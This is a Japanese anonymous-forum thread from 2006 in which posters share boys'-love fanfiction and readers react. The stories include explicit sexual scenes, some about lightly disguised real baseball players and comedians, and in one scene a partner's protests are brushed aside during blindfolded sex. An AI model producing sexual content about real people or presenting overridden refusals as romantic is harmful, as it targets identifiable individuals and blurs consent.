顔を覗き込んでいる受けの目には涙がいっぱい溜まっている。ごめんな、ごめんな
俺の屁のせいでと何度も謝る受けの手を握り、それでも俺は受けを愛していると
言った。お前の屁でアロマテラピーうんぬんの台詞を言えなかったことを、俺は
逆に申し訳ないと心からそう思った。 
<> 風と木の名無しさん<>sage<>2006/09/28(木) 20:45:57 ID:6mfdLTzS0<>  ____________
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/09/28(木) 20:49:34 ID:9rVId6VP0<> >>73
ちょwwwwwwwwwww死ぬかと思ったwwwwww
どんだけ書くの早いんだwwwwGJ!!! <> 風と木の名無しさん<>sage<>2006/09/28(木) 20:55:05 ID:Fs72iekL0<> >>73
爆笑がとまらない <> 風と木の名無しさん<>sage<>2006/09/28(木) 20:56:58 ID:vHNKJRtG0<> 二本続けてワロタw

>>73
まさか書くとはww
笑いすぎて腹痛いよー <> 風と木の名無しさん<>sage<>2006/09/28(木) 21:53:19 ID:DwPrgfpG0<> >>73
いやでもこれいい。なんかやけにリアルで萌える。
ストンと胸に響く感じ。文体も好きだ。あっさりしてるのにしっかりしてて。
というか、ほんといい男だな攻。 <> 風と木の名無しさん<>sage<>2006/09/28(木) 22:00:36 ID:dB7ErZKl0<> 今夜は秀作続きだな <> 風と木の名無しさん<>sage<>2006/09/28(木) 22:13:07 ID:lEVe2ps10<> >>73
ワロタ。屁でアロマテラピーwww <> 風と木の名無しさん<>sage<>2006/09/28(木) 23:45:35 ID:xTw+V5mP0<> >>73
お前さあ…天才だべ?
つかむしろネ申?
GJなんて言葉では表現出来ない程、猛烈に感動した。
お前の屁でアロマテラピーなんて普通考えつかない。
笑い萌え死にそうだ。 <> 風と木の名無しさん<>sage<>2006/09/29(金) 01:34:29 ID:2MH2yj9g0<> >73
バロスwww
忍空のフンドシの兄ちゃん思い出した。 <> 風と木の名無しさん<>sage<>2006/09/29(金) 19:35:03 ID:QRwVCMuN0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  辛党と甘党の人の話だったハズが
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  まにあっぽくなったね。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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*ジャンルはぷろやきう。
*なんか話のつくりがメタメタだが、自己満足だしまぁいいか…。 <> 1<>sage<>2006/09/29(金) 19:36:47 ID:QRwVCMuN0<> 香ばしいスパイスの香りが店内に満ちている。
テーブルに置かれた深さのある大きな器の中身は、ここ北の大地で生まれたスー
プカレー。
スパイスの効いたスープの中にはほとんどそのままの形で野菜などの具が入れら
れている。
添えられているナイフがいらないほどに火の通った具は、舌の上でとろけるほど
柔らかい。
彼の目の前の男はスプーンでスープを掬い口に入れ、その整った相貌を崩した。
「ん〜、美味いっ」
見ている方まで幸せになりそうな満面の笑み。
テーブルの向かえに座った男は幸せの真っ只中にいる先輩に苦笑を向けた。
「好きなんですねぇ…」
「まさるくんは美味しくないかい?」
「いえ、美味いですけど。でもアナタほど幸せそうな顔にはなれてないんじゃな
いですかねぇ」

つい数時間前に彼の携帯電話に、今目の前で幸せそうにしている男から電話が入
った。
天気のいい休日、彼は何をするでもなくベッドの上でうつらうつらしていた最中
である。もともと社交的な類いの人間でもなく大した趣味も持ち合わせていない
彼は、普段の疲れもあってだらだら過ごそうと考えていた。
その矢先、である。
「迎えに行くからさ、付き合ってくれないかな」
電話の主の「付き合って」が何を意味するか、それは一つしかないことを彼は知
っていた。 <> 2<>sage<>2006/09/29(金) 19:37:33 ID:QRwVCMuN0<> 考える間も与えられず、それ以前に頼まれれば断れない性格の彼はあれよあれよ
と言う間に車に乗せられ、スープカレーの専門店にいる。
この前テレビで紹介されてて来てみたかったと無邪気に語る男を見て、彼は「は
ぁ」と返事するしかなかった。
彼の先輩にあたる男の『スープカレー好き』は、チーム内でも知らぬ人がいない
ほど有名で、ことあるごとに彼はスープカレーの素晴らしさを語る。語るだけで
なく、勿論本人は足繁く専門店に通い、日々新たな店を開拓しているらしい。
あるときは誰かを誘い、あるときは1人で、驚くほどの情熱をこの食べ物につぎ込
んでいるのは、それに対する愛情他ならないだろう。
今日もまた貴重な休日を、こうして店めぐりに費やしているのである。
驚きや呆れを通り越して、もはや敬服するといった面持ちで、相好を崩した目の
前の男を見やる。
「…俺の顔に何かついてる?」
「いえ。別に…」
問われ、首を振ってグラスに手を添えた。
乳白色の液体が入ったグラスは表面に水の粒を浮かせ、彼の指先を濡らす。
男はそれを見てくすくすと笑った。
「まさるくん、甘いもの好き?」
「…え?」
「だって、必ずラッシー頼むでしょ。俺は水派だから、新鮮だな、って」
指を指した先の、淡い色の飲み物。
もともとインド料理の店には必ずと言っていいほど置いてある、ヨーグルトが元
になっている飲み物。
スープカレーは決してインド料理ではないが、スパイスとの相性がいいのか、置
いてある店も少なくない。
予想外のところを指摘されて、彼は少し赤面した。
「あ、はぁ…甘いもの、好きですね…」
「そういえばチョコとかよくコンビニで買ってるね。イメージ裏切らないなぁ」 <> 3<>sage<>2006/09/29(金) 19:38:37 ID:QRwVCMuN0<> 僅かに笑い声を含んだ声と言葉に彼は眉根を寄せる。
コンビニでチョコを買ってるイメージって、なんだろうと思いつつ。
「イメージ…ですか。甘いもの、好きそうですか、俺」
「うん。なんて言えばいいかな、白くてふわーっ…みたいな」
白くてふわーっ…というイメージは、果たして成人男性、それもそろそろ30代に
差し掛かかろうとしている男に対するイメージなのだろうかと彼は思い悩んだ。
そして妙な気恥ずかしさを覚えてしまい、まともに目をあわせられない。
「…恥ずかしくないですか」
「何が?」
「…いえ、何でもないです」
舌に残る刺激的なスパイスの味のせいではないだろう。
顔が火照る。
赤い顔に気づかれたくない。
彼は俯いたまま、手洗いにいくふりをして腰を上げる。
途端、不意打ちのような言葉がかけられた。
「今日、このあと予定ある?」
「え」
彼は喉の奥で詰まったような声を出す。
「気が向いたら、でいいけど。また、どうかな」
『また』。
そのせりふに明確な言葉を求めるつもりはない。何を意味するかわかっているか
ら。選択権は彼にある。
イエスかノー、望むとおりに答えればいいだけだ。男は無理強いはしない。絶対
にしない。 <> 4<>sage<>2006/09/29(金) 19:39:14 ID:QRwVCMuN0<> ますます顔に血が上るのがわかっても、それをとめる術は無かった。
イエスを答えたら男が何を思うのか、ノーを答えたら男が何を感じるのか、それ
を知りたかった。
しかしこういう誘いがあるということは、少なくとも嫌われてはいないのだろう
と彼は思うことにした。
それが例え一時の興味であっても構わないではないか。
意味付けなど必要ない。意味などあっては困る。彼にとっても男にとっても。
「…予定なんか、無いです」
ぼそりと呟いて、彼は顔をそむけた。 <> 5<>sage<>2006/09/29(金) 19:40:10 ID:QRwVCMuN0<>

最近彼から声がかかることが多い気がする。
その理由が、彼にはわからない。
単純に生理的な意味合い?
それでは理由が弱すぎる気がする。
彼と同じような経緯でこの世界に入ったからだろうか。
20代の後半で、目立たぬようにひっそりと入団し、苦労人やら何やらと言われ。
自分ではそんなことを考えもしないけれども、同じ境遇だから、僅かでも目にと
まったのかもしれない。
ただ、それだけのことだ。
はずみでこんなことになってしまったけれど、深い意味なんて無い。あってはな
らない。
だから彼はそれ以上考えないことにする。
考えたって、何もわからないのだから。



彼はぴりぴりと刺激するその快感に唇を噛んで耐えている。
眼下で動く頭は自分に奉仕してくれているのであるが、自分だけがその気持ちよ
さに酔うことは躊躇われた。
しかし、長い。
口の中に含まれる生暖かくぬめる感触と、上唇と下唇の間、舌の上でびくびくす
る自分のそれ。
もしかしたら声を出さないことなど無駄なことかもしれなかった。 <> 6<>sage<>2006/09/29(金) 19:43:09 ID:QRwVCMuN0<> 男の口内のそれ、その反応は、既に彼の感じていることを直接伝えているのと同
じ事だからだ。
ぢゅる、と口の中で強く吸われた瞬間、彼は思わず男の髪の毛をつかんで引っ張
った。
「ア…っ」
目尻に涙が浮く。
うめく声に、男はようやく口を離して泣きそうな彼の顔を見てぎょっとした。
「ご、ごめんっ…もしかしてイタかった…!?」
指先が目尻を撫でて涙をすくっていく。
噛み締めて赤くなってしまった唇にも指を這わせた。
彼は首を振って、違いますと消え入りそうな声を出す。
「あ、の…俺、だけ…こんなの、嫌なんです…けど」
「ん?」
「や、だから、俺だけ勝手に………気持ちよく、なっちゃっていいのかな、って

語尾に行くほど弱く小さな声になっていく。
言葉は口に出さねば伝わらない。しかしその言葉を口に出すことが今はとてつも
なく恥ずかしい。 <> 7<>sage<>2006/09/29(金) 19:44:06 ID:QRwVCMuN0<> 高校生でもあるまいし、と彼は心のどこかで思うが、それでも割り切れないのだ。
彼の言葉に、男は妙な具合に顔を歪めた。
「きもちいい?」
「え…?あ、だって、そんなことされたら誰だって…」
何故わかりきったことを聞くのか。
彼は羞恥で上ずった声で不明瞭な言葉を発する。
もしかして彼は見かけによらず意地悪な男なのだろうかと一瞬思ったが、次の瞬
間男は嬉しそうな表情を浮かべた。
「なんだ、よかったー、何にも言ってくれないからもしかして嫌々付き合ってく
れてるのかな、なんて心配してしたよ」
「え?」
「ほんと気使うね。疲れない?もっと我が侭になっていいのに」
そう言うと彼はクロゼットの引き出しからタオルを出し、手早く彼の目元を隠す
ように結んでしまった。
「ちょっ…な、なんですか…っ?」
突然の暗闇に慌てた声を出す。
「いやぁ、俺みたいなのでもセンパイの顔見たら恐縮しちゃうのかなぁと思った
から。しばらく何も見えない中で喘いでたら気ぃ使うことも忘れられるかなと思
って。何も考えずに俺に任せて」
彼は突然訪れた暗闇の中、半ば混乱しながらも触れる手を受け入れるしかない。
指先はからだの凹凸を確かめるように太ももから腰、腹筋から胸襟部まで滑り、
しつこいほど何度も胸元を通っていく。
食道が通っている胸元中央付近を円を描くようにしながらその指は移動し、色の
ある突起部を撫でるように摘まんだ。 <> 7<>sage<>2006/09/29(金) 19:44:40 ID:QRwVCMuN0<> ビクンとからだが跳ね、それを見て胸元を弄る手が意地悪になる。
ベッドに仰向けに寝そべる彼の腹に馬乗りになり、両手でクリクリと擦り上げた

「はぁっ…あっ…や、だ…ッ」
何をしているのか視覚では認知しないのに、からだがそれを快感だと受け入れる

突起の根元から先端まで、指の腹が繊細に擦りあげていく。時折力を入れて押し
つぶされて、悲鳴に似た声が出た。
「やだ、や、やめてくださ…っ」
「だって、気持ちよさそうだよ?」
彼の手は弱々しく胸元を弄る手にまとわりつくが、そこに力はなく止めようとす
る気配は無い。
それどころか、親指がすっかり充血してぷくりと立ち上がったそれをクッと押す
たびに、男の尻の下で腰が揺らぐ。制止の声は聞き流され、指でなぶり尽され、
くちのなかで舌で転がされ歯に甘噛みされて、てらてらと唾液で濡れながらもふ
っくらと敏感になっていく。
「…も、ヤ…だっ…あ、」
「ん、なかなか素直になんないねぇ…トンじゃったほうがいいのかな」
自らはシャツ一枚脱いでいない格好で、男は彼の腹にに跨りながら腕まくりをし
て、その整った顔ににっこりと微笑みを浮かべた。 <> 風と木の名無しさん<>sage<>2006/09/29(金) 19:45:21 ID:QRwVCMuN0<>

 ____________
 | __________  |
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 | | □ STOP.       | |
 | |                | |           ∧_∧ ビーチク描写で力尽きた
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
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しかも番号まちがった・・・ごめん <> 風と木の名無しさん<>sage<>2006/09/29(金) 20:44:37 ID:H2xa45ao0<> GJGJGJ!!!

力を蓄えてぜひ続きを! <> 風と木の名無しさん<>sage<>2006/09/29(金) 21:12:17 ID:fToBzQiU0<> GJ!エロいよー!エロいよー!
続きが見たい! <> 風と木の名無しさん<>sage<>2006/09/29(金) 22:07:05 ID:tD9uPcZG0<> ちょww今度からあのスレ冷静に見れなくなるジャマイカww <> 風と木の名無しさん<>sage<>2006/09/30(土) 00:59:26 ID:i++NSZS30<>

                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                    |  ナマ注意。ゲ仁ン。禁紺。
 ____________  \         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄V ̄ ̄|  1年以上前のラジオネタ。
 | |                | |            \
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 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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<> 1/3・荷氏乃×舵藁<>sage<>2006/09/30(土) 01:01:07 ID:i++NSZS30<>
「なあ、どこの□ーソン曲がったらええの?」

期せずして目覚ましがわりとなってしまった着信音のあとに聞こえてきた、
笑いをこらえるような声を、現実のことと捉えられなかったのは、
なにもこちらだけの落ち度ではあるまい。
「…あ……?」
「はは、寝起きや」
「…おん」
返事をしたあとようやく、今手にしているのが携帯電話で、その先の笑い声が木目方のものであると理解した。
「なに?なん?□ーソン?」
一気に目が覚めたのは良いものの、相手の言っている意味が分からなくて、
疑問符ばかりを繰り返す俺に返ってきたのはいつもの大爆笑だった。
耳に馴染みすぎた独特の笑い方が、寝起きの頭に響く。
「もお、なんやねん。きしょいわ、引き笑い」
「忘れたん?朝、車でむかえに行ってえ、ドライブスルーで飯食ってえ、」
「富士Qでフジヤマ…?」
「覚えとるやんか」
誘導されるように思い出したラジオでの自分たちの会話。
もしオフの日に2人で会うとしたら何をするかなんて馬鹿馬鹿しいことを、半笑いでしたのだった。
<> 2/3・荷氏乃×舵藁<>sage<>2006/09/30(土) 01:02:44 ID:i++NSZS30<>
2人で会うことに抵抗があるのは、むしろ相手のほうで、
まさか何か行動を起こしてくるとは思っていなかったのだが、はたとあることを思い出す。

そうや。こいつは人を驚かすためだけに沖縄に旅立った男なんやった。

ふうとため息を吐く。あきらめたような、何故か落胆したような色がにじんでいた。
「そこ、ちゃうわ。もいっこ先の□ーソンや」
「…ほんまに□ーソンあんねや」
「知っとって言うてんのか思うとったわ」
「知っとるわけあれへんやん。見たことないもん、アンタん家」
「今日かて見せへんぞ」
「なんでや!」
この俺がここまで来てやったのにその言い草はなんや、とでも言いたそうな声に、呆れを通り越して笑えてきた。
枕元に置いてあったチェーン付きの財布とケータイとキャップを掴んで、
精一杯の「しゃあないなあ」を含んだ声で電話口に言った。
「俺が降りてくし、や」
突然の訪問に、どれほど驚き、どれほど嬉しさを感じているかなど、あいつは知らない。
寝ぼけていた頭では湧かなかった実感が、一歩踏み出すごとに否が応でも深まっていく。
マンションの階段を降りていく足取りが早くなり、エントランスを抜けるころには、
それは早歩きですらなくなっていた。
<> 3/3・荷氏乃×舵藁<>sage<>2006/09/30(土) 01:05:38 ID:i++NSZS30<>
「おまえは、帽子がカバンか」
目印にしたコンビニエンスストアの角、ニット帽を被って空を見上げていた、良く見知った顔が、
こちらを見止めた瞬間、皮肉っぽく笑った。視線を追うと、こちらの手元。
財布とケータイをキャップに突っ込んだまま持ち歩いていたのを揶揄されたことが、
まるで自分の心情までも暴かれたように思え、ひどく動揺する。
「流行っとんねん、今。おまえには分からんやろけど」
「おーおー、今度来るときは、ふろしきで来たるわ」
並んで歩く、これほど単純な行為が、こんなにも不自然なことだとは思わなかった。
何気ないふりをして、ジーンズのポケットに所持品を収め、キャップを被る。
ハッと小ばかにしたような笑いが、頭上で弾けたが、振り返ってやりはしなかった。
「はは、好きやで」
からかう声のまま、そんな言葉が降ってくる。
そんなことに、いちいち動揺を覚えているなど、死んでも悟らせるものか。
「そら、ありがとお」
精一杯の平静を装って、棒読みでそう言った。
こんなふうに、冗談めかしてネタにしてしか会えない自分たちの関係は、
もういっそ清々しいくらい、穏便だ。
<> 風と木の名無しさん<>sage<>2006/09/30(土) 01:07:20 ID:i++NSZS30<>  ____________
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 | | □ STOP.       | |               1日のデートプランを寸劇のように語り合う2人が
 | |                | |           ∧_∧ 微笑ましかった1年以上前のことを思い出してみた。
 | |                | |     ピッ   (・∀・ ) 懐かし。
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/09/30(土) 01:21:54 ID:bQaTTLLx0<> >>99
リアルタイム遭遇していたw
GJ!久し振りに萌えた… <> 風と木の名無しさん<>sage<>2006/09/30(土) 02:56:00 ID:KLMwU5YI0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |   思わず('A`)スレ166にうっかり萌え…
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  163姐さんレスぱくってゴメ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1/3<>sage<>2006/09/30(土) 02:57:10 ID:KLMwU5YI0<> 「ばかじゃねーのか、お前」
かつての担任教師は、昔と全く変わらぬ無精髭を擦りながら言い放った。
「だって、処分させていただくことも出来ますがって言ったんですよ」
「古本屋がタダで本を引き取って売らないわけがないだろ。
いくらなんでも素直すぎるというか世間知らずというか…よく教職課程とれたな」
「もういいでしょ先生、予鈴なりましたよ」
「だからなんだ。本鈴まで五分もある」
僕の忠告に聞こえないフリをするように、中年の英語教師はぷいとそっぽを向く。
こういうところも昔と変わらない。昔、と言ってもほんの六、七年前の話だけれど。
彼は僕がこの学校に在学していた当時も本鈴が鳴ってからしか席を立たない人だった。
一見どうしようもなくて、それでも生徒(とくに女子)からの人気は高い。
かく言う僕が教員としての就職先に母校であるここを選んだのも
彼の存在があったからだったりする。
「ま、今度からそういう本は古書店に持っていきなさい」
生徒に向けるように言って彼は席を立った。独特のチャイムが鳴り始める。
公立校と違う、僕にとっては聞きなれたメロディ。
授業のない僕は切らしていたルーズリーフを買いに購買部へ向かった。

校舎とは別に建てられた小さな購買部の横に白いワゴンが止まっている。
車体には赤い文字で矢追書店と書かれていた。学校に教科書を卸している書店だ。
特に気に留めることもなく購買の販売員に声をかけようとすると、僕が口を開く前に
別の声が僕を呼んだ。
「あれ?毎度どうも」
「え?」 <> 2/3<>sage<>2006/09/30(土) 02:58:48 ID:KLMwU5YI0<> 振り向いた先にたっていたのは、フリーターか大学生であることが一目で分かる
派手な金髪の男が立っている。男は僕を知っている風で、にこにこと近づいてくるが
僕には全く見覚えがない。男の長身による威圧感も合い間って警戒心が湧いた。
「あの、どこかでお会いしました?」
「え、いつもうちに本売りに来る人ですよね?」
「あー…ああ!はい」
言われて初めて気付く。先日の「処分させていただくことも出来ますが」の人だ。
この金髪はその時も目を引いていたので間違いない。
でもあそこは大手の古本屋チェーンで矢追書店とは無関係のはず…
僕の疑問に気付いたのか、男は恥ずかしそうにワゴンを指差した。
「あれ実家なんす。古本屋はバイト」
「そうなんですか…」
「やーでも謎がとけました。いつも金にならない小難しい痛んだ本を大量に売りに来てて
一体何者かと思ってたんすよ」
「どういうことですか?」
「だってお客さんくらいの年齢だとマンガ売るのが圧倒的っすもん。でも先生なら
難しい本読むのもわかるかなって」
金にならないという言葉にいささかムッとしたけれど、嫌味で言っているわけでは
ないらしい。…かといって、嫌味に聞こえたものは嫌味でしかない。
「そうみたいですね。今日職場の人にも言われました、古書店に持っていった方がいいって。
今度からそうすることにします。処分するとか言って引き取ったものを売るなんて
詐欺みたいなこと、されたくないし」
一気にまくし立てると、購買の人にお金を渡してルーズリーフを受け取った。 <> 3/3<>sage<>2006/09/30(土) 02:59:39 ID:KLMwU5YI0<> さっさと立ち去りたくて足早に歩き始めると、後からセーターの袖を掴まれる。
「ちょっと何するんですか!のびる!」
「待ってよ、ちゃんと買い取るから古書店に流れるなんていわないで下さいよ」
「は?買い取るったってチェーン店なんだから規定とか…」
「個人的に支払うからさ!」
突飛過ぎる申し出に不振に思って後ずさるが、いつの間にか腕をがっちり掴まれていて
逃げることができない。
「ちょっと離して…」
「本の持ち込み一回につきメシ一回おごります。どう?」
「どうって」
「俺のせいでお客一人逃がしたなんて嫌なんすよ!頼みます!」
更に詰め寄られて視界に影が差した。見上げるほどの長身で、近づかれるほどに
圧迫感が増していく。腕を掴んでいる掌が熱い。胸が詰まって息苦しかった。
とにかく離れて欲しくて僕は何度も頷く。
「わかりましたから!お店は変えません。でも別に食事もいらな…」
「ホント!?じゃあとりあえず前回の分払いますね!今夜でいいっすよね、待ってますから」
「へ?」
ぐいと腕を引かれて顔が近づく。男はにやりと人の悪そうな笑みを浮かべた。
「楽しみにしてますよ、センセ」
囁くように言われ、やっとで解放される。男はひらひらと手を振ってワゴンに戻っていった。
風が吹いて後姿の金髪がゆれる。熱の離れた腕は、少し寒かった。 <> 風と木の名無しさん<>sage<>2006/09/30(土) 03:01:38 ID:KLMwU5YI0<>  ____________
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>107
×振り向いた先にたっていたのは、フリーターか大学生であることが一目で分かる
派手な金髪の男が立っている。
○振り向いた先には、フリーターか大学生であることが一目で分かる
派手な金髪の男が立っている。 <> 風と木の名無しさん<>sage<>2006/09/30(土) 03:36:26 ID:IXbhSc8B0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  >>41の続き。オリジ・ヘタレ攻め×無邪気受け
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|   長い割に萌えませぬ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 1話分まるっと投下してスマソ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  | <> 1<>sage<>2006/09/30(土) 03:37:06 ID:IXbhSc8B0<> ―――――やばい。眠れない。
ベッドに入ってもう1時間位経つ筈なのに全く眠気がこない。
それ所か寝る前より冴えてきた気がする。
目を閉じて必死に寝ようとすればするほど眠気は遠ざかっていくばかりで、
眠れない事にイライラが募ってまた頭が冴える。
何度目かの寝返りを打って背中越しに相変わらずの寝息が聞こえると、
起こしてないとホッとしつつも少しだけ腹が立った。
お前の所為でこっちは眠るに眠れなくてイライラしてんのに暢気に寝てんじゃねぇよ。
お門違いと云えばそうなんだけど、俺が眠れないのは元を辿れば裕太の所為。
この収まりようのない性欲が、俺の目を冴えさせてる。
悲しいかな、健康な青少年の体は正直だ。
……やっぱもういっぺん風呂に行ってくるか。
とうとう一向に埒が明かない努力を諦めてむくりと起き上がった。
音を立てないように布団を捲くり、ぼんやりと重たい頭を2、3度振ってシャッキリさせる。
「………トイレ?」
不意に背後から声がして飛び上がるほどに驚いた。
まさか幽霊!?……なんて筈はあるはずねぇから声の主は一人。
「……わり、起こしたか」
ゆっくり振り返ってベッドを見ると、頭までスッポリと布団を被って寝ていた裕太が
枕に顔を擦り付けながらんー、と間延びした返事をした。
「疲れてんだろ?寝とけ」
小さい子供にするみたいに裕太の頭をポンと叩いてふと時計を見ると、時刻は午前2時を過ぎた所だった。
布団に入ったのが多分1時半過ぎだったから思ったより時間は経ってなかったらしい。 <> 2<>sage<>2006/09/30(土) 03:37:52 ID:IXbhSc8B0<> 「さっきさぁ、」
グルリとベッドの中で寝返りを打って仰向けになり、裕太がポツリと呟く。
「なんだ?」
ベッドから立ち上がりかけた体勢で体を反転させて聞き返すと、
裕太は寝起き特有の焦点の定まってない目を動かしてぼんやり天井を見上げたまま黙った。
寝惚けてんのか?と訝しげに眉根を寄せて立ち上がり、キッチンの冷蔵庫からビールを取り出して流し込んだ。
冷えた炭酸がダルくなった体に効いてサッパリはしたが、飲みたい気分じゃない時のビールほど不味いもんはない。
まだたっぷりと残ってるビールの缶をテイスティングするみたいにクルクル回しながら溜息を吐く。
「俺もー」
「…ぅお!?…って驚かすな」
てっきりまた寝たと思ってた裕太が急に背後から声を掛けるもんだから、思わず缶を落としそうになる。
俺の言葉をサクッとスルーしつつ、俺の肩に無理矢理顎を乗せて全体重を掛けながら手を伸ばして
飲み掛けの缶を奪ってぐいと煽る。
「かぁー!……寝起きにビールは効くなぁ」
まだどこかボケッとした声でオヤジみたいに呟いて、それからぶっ、と吹き出した。
「……雅樹ぃー起きた原因それ?」
肩を揺らしてくつくつと笑いながらからかうように言って裕太が指差したのは……俺の下半身。
「!!」
俺のバカ!こんな時にお目覚めしてんじゃねぇよ!しかも裕太の前で!
慌てて裕太を引き剥がし、前かがみの情けない格好で後退る。
「こっ…これはな……その…なんだ、」
見たまんま以外に言い訳のしようもないのに上擦った声でなんとか取り繕うとする俺。ああ情けねぇ。
そんな必死な俺の姿を裕太はおかしそうにニヤニヤ見ながら、しょーがねーなぁ、と言った。
「そんなんまで溜める位なら”ヤろう”って言えばいいのにさぁ」
……………ん?
ちょっと待て。聞き捨てならない台詞を聞いた。
「お前、痛いからもうやらねぇって言ったじゃねぇか!」
だから、迂闊に手が出せなくてこんな醜態を晒すほどの禁欲生活を強いられてきたんだぞ!
すると裕太はビール片手に視線をウロウロさせてゆっくり首を傾げた。 <> 3<>sage<>2006/09/30(土) 03:38:38 ID:IXbhSc8B0<> すると裕太はビール片手に視線をウロウロさせてゆっくり首を傾げた。
「……そうだっけ?」
「そうだっけ?じゃねぇよ!2ヶ月前にヤった時言ってだろ!?忘れてんのかよ!」
半分キレつつ返すと記憶を穿り返すようにうーん、と唸り、それからポン、と手を叩いた。
「あーあーうん、言ったかも」
「……”かも”ってお前」
なんだこの脱力感は。むしろ敗北感。
言った本人が忘れてた事に勝手に縛り付けられてたのか、俺は。
思いもよらなかった返答にガックリと項垂れる俺の肩をバンバン叩きながらケラケラと笑う。
「だってさぁ、そんなのその場のノリみたいなもんじゃん?真に受けんなよ」
「受けるっつーの……」
なんだよ、その場のノリって。聞いたことねぇよ。
負担掛けさせたあげく痛いとまで言われりゃやれるわけねぇだろ。
ぶっちゃけ俺は、あの後3日間落ち込んだんだぞ。
それを事もあろうにノリだったと申しやがりますか、こいつは。
あんまりな事実にまた3日間位はへこみそうな俺を尻目に、カラカラと笑いながらビールを流し込む。
「ほんと雅樹ってジジ臭いっつーか妙なとこで真面目だよなー。ま、そこがいいとこだけどさ」
そう言ってキッチンを出て行こうとする裕太の肩を慌ててガシッと掴んだ。
危ねぇ、ショックのあまり一番大事なことを聞き忘れる所だった。 <> 4<>sage<>2006/09/30(土) 03:39:21 ID:IXbhSc8B0<> 「っつーことは、あの時言ったのは嘘だったって事か?」
「んー?多分痛いってのはほんとだと思うけど、もうやらねぇとは思ってねぇよ?」
考え込むこともせずにケロッとした様子で答えられた事に拍子抜けしそうになるのを堪え、
念には念を、とばかりにおそるおそる聞いてみる。
「ヤるのは別にいいってことか?」
ここで「やっぱりヤダ」とか言われたらそのままショック死できそうだな、と不吉な事を考えながら問うと、
視線を上げてちょっと考えるような素振りを見せながら頷く。
「結果的には気持良かったし、雅樹のこと好きだし、ヤるのは嫌いじゃないかなー」
サラリと「好きだ」と口にされたことに微かに動揺しつつ、反射的に時計を探した。
いやいやいやここから時計見えねぇよ。つーかさっき見て2時過ぎだなって思ったじゃねぇか。
とセルフツッコミをした所で、裕太の肩を掴んでる手に力をこめる。
ここまで据え膳がフルコースばりで来たら見逃せる筈がない。
「……裕太、明日バイト何時から?」
今更確認しなくても裕太が朝からバイトに入る事はないって知ってたけど、それは単なる合図みたいなもんで。
俺の言葉が意図する所を悟った裕太が一層笑みを深め、残り少なくなったビールを一気に流し込んで缶を潰した。
「明日は遅番だから5時入り」
言い終わると同時に、その缶がゴミ箱に行く前に裕太の手から離れて軽い音を立てた。
すぐに、合わさった唇の隙間から甘えたような苦しげな声が洩れると今までどうにか抑え付けてたものに一気に火が付く。
キスひとつでアッサリと臨界点突破したっぽい。
もうゴチャゴチャ考えてる余裕もなく、転がった缶を更に蹴っ飛ばしながらよろめくようにベッドに倒れこむ。
痛くすんなよ、と裕太に言われたが、正直またやらかしそうな俺がいた。 <> 5<>sage<>2006/09/30(土) 03:42:51 ID:IXbhSc8B0<>  | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ お粗末さまでした
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
